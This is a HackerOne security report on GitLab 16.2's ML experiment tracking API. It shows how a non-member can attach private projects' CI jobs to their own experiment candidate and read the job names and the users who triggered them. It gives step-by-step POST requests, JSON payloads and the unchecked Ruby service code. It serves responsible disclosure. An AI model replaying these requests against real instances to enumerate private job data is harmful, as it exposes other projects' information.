A user is capable of associating CI jobs of a private project he is not a member of to his Machine Learning experiment candidate
HackerOne report #2084199 by ricardobrito
on 2023-07-25, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Hi team!
Summary
Gitlab 16.2 recently introduced the ability to Track your machine learning model experiments. This feature contains some API calls that allows Machine Learning engineers to use Gitlab to track the parameters, results, etc of their Machine Learning experiments.
Users can also link the CI/CD job information to a particular model candidate. I have found that due to a lack of proper access control, users are capable of linking CI/CD jobs of private projects which they are not a member of (Impact 1). After that, they can view the job name and the name of the user who triggered the job, even though the job information is not visible for private projects (Impact 2).
Steps to reproduce
- As a admin create a private project and have some pipelines run on the project. This will create some jobs
- As a user who is not a member of the project created in step 1 (let's call him user A), create a new project of your own and keep track of the id.
- As user A, keep track of the project id from step 2 and make the following POST request to the following endpoint:
https://YOUR-GITLAB-INSTANCE/v4/projects/:id/ml/mlflow/api/2.0/mlflow/experiments/create
and replace:id
with the one from step 2. In the body of the request use the following payload:
{"name":"Experiment by user A"}
The response will return an experiment_id:
{
"experiment_id": "1"
}
Keep track of this id for the next step.
4. Still as user A, make a POST request to the following endpoint: https://YOUR-GITLAB-INSTANCE/v4/projects/:id/ml/mlflow/api/2.0/mlflow/runs/create
, where the id
is the one from step 2, with the following payload:
{"experiment_id":1, "tags": [{"key":"gitlab.CI_JOB_ID", "value":265}]}
where the value
should be set to the id of any of the jobs of the private project from step 1. This will return the following response:
{
"run": {
"info": {
"run_id": "22c4ed69-aefb-4fa4-ac81-97f134fcf92f",
"run_uuid": "22c4ed69-aefb-4fa4-ac81-97f134fcf92f",
"experiment_id": "1",
"start_time": 0,
"status": "RUNNING",
"artifact_uri": "http://127.0.0.1:3000/api/v4/projects/20/packages/generic/ml_experiment_1/3/",
"lifecycle_stage": "active",
"user_id": "46"
},
"data": {
"metrics": [],
"params": [],
"tags": [
{
"key": "gitlab.CI_JOB_ID",
"value": "265"
}
]
}
}
}
In my case, the private job id is 265. So now still as user A, if I go to the following endpoint:
http://127.0.0.1:3000/ricardobrito1/ricardobrito1-project/-/ml/candidates/3
(please change the path according to your project or simply go to the menu on the left side->analyze->Model Experiments and click on the candidate), I can see the private job details under the CI section (user who triggered the job and name of the job), which means I have successfully associated a private job of a private project to my Machine Learning experiments:
Since the job id is incremental, a user can associate any job id he wants and can get this information from any job (public or private).
POC VIDEO
ml-experiment-info-disclosure.mov
Technical details
The reason for this bug is because the function handle_build_metadata
located in the file app/services/ml/experiment_tracking/handle_candidate_gitlab_metadata_service.rb
, will look for any CI/CD job as long as the id is valid, and associate it with the candidate without checking if the user has permission to access the job:
module Ml
module ExperimentTracking
class HandleCandidateGitlabMetadataService
def initialize(candidate, metadata)
[@]candidate = candidate
[@]metadata = metadata.index_by { |m| m[:key] }
end
def execute
handle_build_metadata([@]metadata['gitlab.CI_JOB_ID'])
[@]candidate.save
end
private
def handle_build_metadata(build_metadata)
return unless build_metadata
build = Ci::Build.find_by_id(build_metadata[:value])
raise ArgumentError, 'gitlab.CI_JOB_ID must refer to an existing build' unless build
[@]candidate.ci_build = build
end
end
end
end
The function handle_build_metadata
searches and associates the candidate to a CI job as long as the job exists without performing any permission check.
Imapact
The impact here is two-fold:
- A user is able of associating a private job from a private project he is not a member of to his ML experiment.
- A user is capable of using this flaw to partially leak private job information.
Impact
There are 2 impacts here:
- A user is able of associating a private job from a private project he is not a member of to his ML experiment.
- A user is capable of using this flaw to partially leak private job information.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: